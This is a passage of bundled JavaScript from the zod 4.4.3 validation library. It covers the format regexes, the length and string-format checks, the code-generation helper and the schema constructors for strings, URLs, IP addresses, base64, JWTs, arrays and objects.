_safeParseAsync(_Err)(schema, value, _ctx);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/regexes.js\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst cuid = /^[cC][0-9a-z]{6,}$/;\nconst cuid2 = /^[0-9a-z]+$/;\nconst ulid = /^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/;\nconst xid = /^[0-9a-vA-V]{20}$/;\nconst ksuid = /^[A-Za-z0-9]{27}$/;\nconst nanoid = /^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ 